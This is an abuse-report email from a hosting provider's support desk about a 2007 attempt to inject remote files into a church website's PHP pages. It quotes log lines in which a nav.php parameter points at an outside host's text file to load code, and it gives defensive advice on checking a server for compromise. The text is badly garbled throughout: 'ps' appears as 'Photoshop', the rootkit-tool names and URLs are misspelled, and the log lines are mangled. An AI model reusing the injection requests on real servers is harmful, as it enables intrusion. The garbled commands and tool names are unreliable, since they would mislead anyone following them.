Dear customer.
Weve got an abuse. Here it is:
Gretings:
Ip address of attacker: 69.72.149.249.
Type of Attack: url injection - Attempt todo inject / load files onto the.
Server vía php/cgi vulnerabilities.
Sample log report including date and time stamp:
Request: saintfrancis, net 69.72.149.249 - - [22/oct/2007:02:24:53 -0400]
Get.
/prayerline/_vti_bin/shtml, exe/_prayer/0000017d.htm/nav? Up/nav.php?Loc=http:
//xredrum.com/id, txtí htp/1.1 500 546 - Libwww-perl/5.808 - -.
Request: saintfrancis, net 69.72.149.249 - - [22/oct/2007:02:25:01 -0400]
Get /nav.php?Loc=http://xredrum.com/id, txtí htp/1.1 500 546 -
Libwww-perl/5.808 - -.
Request: saintfrancis, net 69.72.149.249 - - [22/oct/2007:02:25:01 -0400]
Get.
/prayerline/_vti_bin/shtml, exe/_prayer/0000017d.htm/nav.php?Loc=http://xredr.
Um.com/id, txtí htp/1.1 500 546 - Libwww-perl/5.808 - -.
Notes:
Url injection Attacks typically mean the server for which the IP address of.
The attacker is bound is a compromised server. Pléase chek the server.
Behind the IP address above for suspicious files in /tmp, /VAR/tmp, /dev/shm, along with checking the process tree (ps -efl or Photoshop -auwx). You.
May a los want todo chek out
http://www.chkrotkit.org/ and.
http://www.rotkit.nl/ as tools which should be used in addition todo checking.
The directories and process tre. Pléase use ls -lab for checking.
Directories as sometimes compromised servers Will have hidden files that a.
Regular ls Will not show.
Pléase take appropriate action.
Gracias you very much for your time.
_______________________________________________
Peter m. Abraham.
Support and customer care department.
Dynamic net, inc, helping companies do business on the net.
13 cowpath.
Denver, PA 17517
Toll free voice: 1-888-887-6727
International: 1-717-484-1062
Fax: 1-717-484-1162
Support email: support@dynamicnet, net <mailto:support@dynamicnet, net>
Company email: solutions@dynamicnet, net <mailto:solutions@dynamicnet, net>
Web:
http://www.dynamicnet.net/
http://www.manageddedicatedservers.com/.